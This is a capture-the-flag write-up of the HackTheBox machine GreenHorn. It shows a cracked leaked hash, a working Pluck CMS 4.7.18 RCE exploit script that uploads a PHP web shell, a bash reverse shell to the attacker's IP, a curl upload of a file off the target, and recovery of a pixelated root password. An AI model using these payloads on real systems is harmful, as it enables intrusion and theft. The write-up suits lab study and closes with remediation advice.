Skip to content

GreenHorn

GreenHorn-Info

Initial Enumeration

Nmap

Start the enumeration with Nmap, gathering ports and services available.

As always -p- and --min-rate 10000 to catch all ports, and once acquired we enumerate further.

$ sudo nmap -sC -sV -p22,80,3000 -vv -oN nmap 10.129.87.59
# Nmap 7.94SVN scan initiated Fri Dec  6 13:43:07 2024 as: /usr/lib/nmap/nmap -sC -sV -p22,80,3000 -oN nmap -vv 10.129.87.59
Nmap scan report for 10.129.87.59
Host is up, received echo-reply ttl 63 (0.023s latency).
Scanned at 2024-12-06 13:43:08 CET for 93s

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOp+cK9ugCW282Gw6Rqe+Yz+5fOGcZzYi8cmlGmFdFAjI1347tnkKumDGK1qJnJ1hj68bmzOONz/x1CMeZjnKMw=
|   256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZQbCc8u6r2CVboxEesTZTMmZnMuEidK9zNjkD2RGEv
80/tcp   open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
3000/tcp open  ppp?    syn-ack ttl 63
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=6d4e351f0099e873; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=D80EaSvmwOqhy1QQwN41klKKPKU6MTczMzQ4ODk5NTYyMDg2MjQ2Nw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Fri, 06 Dec 2024 12:43:15 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>GreenHorn</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=c7418bc923bfd1c3; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=LUNQtcvrdIyfLW65LWplcX-lApE6MTczMzQ4OTAwMTAzNDY4Mzk3NA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Fri, 06 Dec 2024 12:43:21 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=12/6%Time=6752F162%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,1000,"HTTP/1\.0\x20200\x20OK\r\nCache-Contr
SF:ol:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nCo
SF:ntent-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_git
SF:ea=6d4e351f0099e873;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Coo
SF:kie:\x20_csrf=D80EaSvmwOqhy1QQwN41klKKPKU6MTczMzQ4ODk5NTYyMDg2MjQ2Nw;\x
SF:20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Opt
SF:ions:\x20SAMEORIGIN\r\nDate:\x20Fri,\x2006\x20Dec\x202024\x2012:43:15\x
SF:20GMT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"the
SF:me-auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<title>GreenHorn</title>\n\t<link\x
SF:20rel=\"manifest\"\x20href=\"data:application/json;base64,eyJuYW1lIjoiR
SF:3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6
SF:Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmh
SF:vcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLC
SF:JzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvY
SF:X")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(HTTPOptions,197,"HTTP/1\.0\x20405\x20Method\x20Not\x20All
SF:owed\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Control:\x20max-age=0,
SF:\x20private,\x20must-revalidate,\x20no-transform\r\nSet-Cookie:\x20i_li
SF:ke_gitea=c7418bc923bfd1c3;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nS
SF:et-Cookie:\x20_csrf=LUNQtcvrdIyfLW65LWplcX-lApE6MTczMzQ4OTAwMTAzNDY4Mzk
SF:3NA;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Fra
SF:me-Options:\x20SAMEORIGIN\r\nDate:\x20Fri,\x2006\x20Dec\x202024\x2012:4
SF:3:21\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\
SF:.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=
SF:utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec  6 13:44:41 2024 -- 1 IP address (1 host up) scanned in 93.80 seconds
  • TTL of 63 possibly indicating Linux and no containers in use
  • Port 22 SSH and showing us Ubuntu Linux
  • Port 80 HTTP redirects to http://greenhorn.htb/
  • Port 3000 HTTP reveals gitea with cookies

Port 80

We add greenhorn.htb to our /etc/hosts file and browse to the website.

http://greenhorn.htb/?file=welcome-to-greenhorn GreenHorn-16.png

From the footer we can see the pluck CMS is being used by the website.

We can also see the file parameter being used, which we can quickly check for an LFI vulnerability. We try it with the payload ../../../../../../etc/passwd but get blocked:

GreenHorn-17.png

We can also try to fingerprint the version of pluck being used. We do this by issuing the curl command:

$ curl -s 'http://greenhorn.htb/?file=welcome-to-greenhorn' | grep -i pluck

<meta name="generator" content="pluck 4.7.18" />
                                <a href="/login.php">admin</a> | powered by <a href="http://www.pluck-cms.org">pluck</a>

And we see the instance is running version 4.7.18, which is vulnerable to a stored XSS as well as an RCE. However it is an authenticated RCE, so we need to be logged in (see Exploitation).

Port 3000

Next up we can check the Gitea website running on port 3000.

GreenHorn-18.png

We browse to Explore and find the GreenHorn repository being publicly accessible.

GreenHorn-19.png

It is safe to assume that this is the source code for the website running on port 80.

Browsing through the repository we can find sensitive information being exposed in the pass.php file:

GreenHorn-20.png

This is most likely a password hash and looking like SHA. To get the correct SHA-X we count the characters:

$ echo 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163' | wc -c
129

This is a SHA-512 hash and we conclude this because SHA-512 means 512 bits, thus meaning 64 bytes. The hash is represented in hex format, so 128 characters matches the 64 bytes.

We try decrypting it the easy way with CrackStation first, before going with Hashcat.

GreenHorn-21.png

And it successfully cracks as iloveyou1.

We try password reuse on the pluck instance on port 80 and get successfully logged in. This allows us to proceed with the RCE exploit.

GreenHorn-22.png

GreenHorn-23.png

Exploitation

Running a quick searchsploit check reveals an RCE as well as stored XSS vulnerability for the version of pluck used by the website:

$ searchsploit pluck 4.7.18
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                                                                         |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Pluck v4.7.18 - Remote Code Execution (RCE)                                                                                                                                                                                                            | php/webapps/51592.py
pluck v4.7.18 - Stored Cross-Site Scripting (XSS)                                                                                                                                                                                                      | php/webapps/51420.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

Info

In the following are two ways to achieve successful remote code execution, by using the proof-of-concept RCE script as well as by writing our own Python script.

We copy the RCE to our working directory

$ searchsploit -m php/webapps/51592.py
Exploit: Pluck v4.7.18 - Remote Code Execution (RCE)
    URL: https://www.exploit-db.com/exploits/51592
    Path: /usr/share/exploitdb/exploits/php/webapps/51592.py
    Codes: N/A
Verified: False
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /home/kali/htb/greenhorn/51592.py

For the exploit to work, we need to find the login.php and admin.php pages, as defined in the script. Luckily they can be easily found by just browsing to http://greenhorn.htb/login.php and same for and http://greenhorn.htb/admin.php.

Next is to adjust the script to our situation by editing the login_url, upload_url and rce_url variables as well as change the password we found for the login_payload variable. We use the greenhorn.htb host instead of localhost and adjust the URIs.

51592.py
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

login_url = "http://greenhorn.htb/login.php"
upload_url = "http://greenhorn.htb/admin.php?action=installmodule"
headers = {"Referer": login_url,}
login_payload = {"cont1": "admin","bogus": "","submit": "Log in"}

file_path = input("ZIP file path: ")

multipart_data = MultipartEncoder(
    fields={
        "sendfile": ("mirabbas.zip", open(file_path, "rb"), "application/zip"),
        "submit": "Upload"
    }
)

session = requests.Session()
login_response = session.post(login_url, headers=headers, data=login_payload)


if login_response.status_code == 200:
    print("Login account")


    upload_headers = {
        "Referer": upload_url,
        "Content-Type": multipart_data.content_type
    }
    upload_response = session.post(upload_url, headers=upload_headers, data=multipart_data)


    if upload_response.status_code == 200:
        print("ZIP file download.")
    else:
        print("ZIP file download error. Response code:", upload_response.status_code)
else:
    print("Login problem. response code:", login_response.status_code)


rce_url="http://greenhorn.htb/data/modules/mirabbas/miri.php"

rce=requests.get(rce_url)

print(rce.text)

Before running the exploit we need to create our payload as a PHP file and create a ZIP archive with it. The script above uses the filenames miri.php for the PHP and mirabbas.zip for the ZIP file name, so we mirror these names.

For our PHP file we create a simple PHP web shell:

<?php system($_GET["cmd"]); ?>

And save it as miri.php.

$ echo '<?php system($_GET["cmd"]); ?>' > miri.php

Next we zip it up.

$ zip mirabbas.zip miri.php

We are now ready to run the exploit.

$ python3 51592.py
ZIP file path: /home/kali/htb/greenhorn/mirabbas.zip
Login account
ZIP file download.
And we get successful code execution by browsing to:

http://greenhorn.htb/data/modules/mirabbas/miri.php?cmd=id
GreenHorn-24.png

Having code execution confirmed, we can now get a reverse shell connection in order to more easily interact with the target host.

$ curl -s 'http://greenhorn.htb/data/modules/mirabbas/miri.php' --get --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.11/7777 0>&1'"

And we successfully get a reverse shell connection established on our listener:

$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.11] from (UNKNOWN) [10.129.87.59] 44768
bash: cannot set terminal process group (996): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck/data/modules/mirabbas$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@greenhorn:~/html/pluck/data/modules/mirabbas$ hostname
greenhorn

From the found RCE we can copy the URLs and write our own script. The script can also be found on my GitHub.

exploit.py
import requests
import argparse
from termcolor import colored
import zipfile
import os

def main():
    parser = argparse.ArgumentParser(description="Exploit Pluck v4.7.18 RCE Vulnerability")
    parser.add_argument("--target",required=True,help="Target URL (Example: http://greenhorn.htb)")
    parser.add_argument("--password",required=True,help="Pluck password")
    parser.add_argument("--cmd",help="Command to execute")
    args = parser.parse_args()

    # Create payload
    filename = 'malicious'
    print(f"[+] Creating payload {filename}.zip")            
    with open(f'{filename}.php','w') as _file:
        _file.write('<?php system($_GET["cmd"]); ?>')
    with zipfile.ZipFile(f'{filename}.zip','w') as _zip:
        _zip.write(f'{filename}.php')
    os.remove(f'{filename}.php')

    target = args.target.rstrip('/')
    # URLs 
    login_url = f"{target}/login.php"
    upload_url = f"{target}/admin.php?action=installmodule"
    rce_url = f"{target}/data/modules/{filename}/{filename}.php"

    with requests.Session() as sess:
        # Login
        print(f"[+] Logging in")
        login_post = sess.post(login_url,data={"cont1":f"{args.password}","bogus":"","submit":"Log+in"})
        if "Password incorrect" in login_post.text:
            print(colored(f"[!] Login failed using password {args.password}",'red'))
            return
        print(f"[+] Login successful")

        print(f"[+] Uploading {filename}.zip")

        # Upload malicious ZIP
        req = sess.post(upload_url, data={"submit":"Upload"}, files={"sendfile":open(f'{filename}.zip', 'rb')})

        # Check successful command execution
        req = sess.get(f'{rce_url}?cmd=id')
        if not (req.status_code == 200):
            print(colored(f"[!] Exploit might have failed\n[!] Check {rce_url}",'yellow'))
            os.remove(f'{filename}.zip')
            return

        print(colored(f"[+] Upload successful\n[+] Access web shell at {rce_url}?cmd=<COMMAND>",'green'))
        # Execute user-supplied command
        if args.cmd:
            print(f"[+] Executing command \'{args.cmd}\'\n")
            cmd_encoded = requests.utils.quote(args.cmd)
            req = sess.get(f"{rce_url}?cmd={cmd_encoded}")
            print(req.text)

        os.remove(f'{filename}.zip')

if __name__ == "__main__":
    main()

Then we can run the exploit, specifying the command we wish to execute. In this case we choose to execute a command that will establish a reverse shell connection to our listener.

$ python3 pluck-rce.py --target http://greenhorn.htb --password iloveyou1 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.16.11/7777 0>&1'"
[+] Creating payload malicious.zip
[+] Logging in
[+] Login successful
[+] Uploading malicious.zip
[+] Upload successful
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>
[+] Executing command 'bash -c 'bash -i >& /dev/tcp/10.10.16.11/7777 0>&1''

And we get successfully get a connection established on our listener:

$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.78.209] 38982
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck/data/modules/malicious$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@greenhorn:~/html/pluck/data/modules/malicious$ hostname
greenhorn

Host Enumeration

Once we are on the host with our reverse shell, we can do some manual enumeration on it and see two users being present:

$ cat /etc/passwd | grep sh$
cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
git:x:114:120:Git Version Control,,,:/home/git:/bin/bash
junior:x:1000:1000::/home/junior:/bin/bash

And trying for password reuse (using iloveyou1) we can successfully authenticate as user junior:

$ su -l junior

Password: iloveyou1
whoami
junior

We upgrade the shell to a TTY.

python3 -c 'import pty;pty.spawn("/bin/bash")'

The user flag can be found in the home directory of junior.

$ cat user.txt
5575bb0446ca9ad25c0ce2c58bad1dbc

We can also find Using OpenVAS.pdf file in juniors home directory. First we transfer over to our local attack machine.

We start an upload server on our attack machine.

$ python3 -m uploadserver 8080                                                                                                       
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Next on the target host we upload the file using curl:

$ curl -X POST http://10.10.16.11:8080/upload -F 'files=@/home/junior/Using OpenVAS.pdf' --insecure

And we successfully receive the file on our local machine.

10.129.87.59 - - [07/Dec/2024 17:38:25] [Uploaded] "Using OpenVAS.pdf" --> /home/kali/htb/greenhorn/Using OpenVAS.pdf
10.129.87.59 - - [07/Dec/2024 17:38:25] "POST /upload HTTP/1.1" 204 -

Privilege Escalation

Opening the PDF document, we can see the following:

GreenHorn-25.png

A blurred out password is present, which can potentially be abused using depixelization tools.

In the following we use the Depix tool to try this approach.

We first need to extract the blurred password image. So right-click on the blurred text and save as image.

GreenHorn-26.png

Once saved, we can run the Depix tool on the image from within the cloned Depix repository directory:

$ python3 depix.py -p ~/htb/greenhorn/pixel.png -s images/searchimages/<IMAGE_PNG>

We try a few <IMAGE_PNG> images inside the ./images/searchimages/ directory on the pixelated image we saved and open them:

$ open output.png

Eventually we can unblur the image using the following search image:

$ python3 depix.py -p ~/htb/greenhorn/pixel.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png

This reveals a readable password, spelling sidefromsidetheothersidesidefromsidetheotherside.

GreenHorn-27.png

Since the PDF mentioned that "only the root user" can execute the openvas command using this password, it is safe to assume that this is the password for the root user.

So we try to login as the root user:

$ su -l
Password: sidefromsidetheothersidesidefromsidetheotherside

root@greenhorn:~# id
uid=0(root) gid=0(root) groups=0(root)

root@greenhorn:~# hostname
greenhorn

And we successfully escalated privileges and can get the root flag.

$ cat root.txt
8042b17f8b4311c9c687a403d8fa9197

Resources

Remediation

  • Gitea sensitive information disclosure. Exclude pass.php using Git excludes.
  • Gitea use stronger password, so it is less susceptible to cracking attempts.
  • Patch vulnerable version of Pluck CMS.
  • Do not reuse passwords.
  • Dont blur images to try and hide sensitive information, as they can often be depixelized back to to readable format. Use syntax or put a bar over the field containing sensitive information.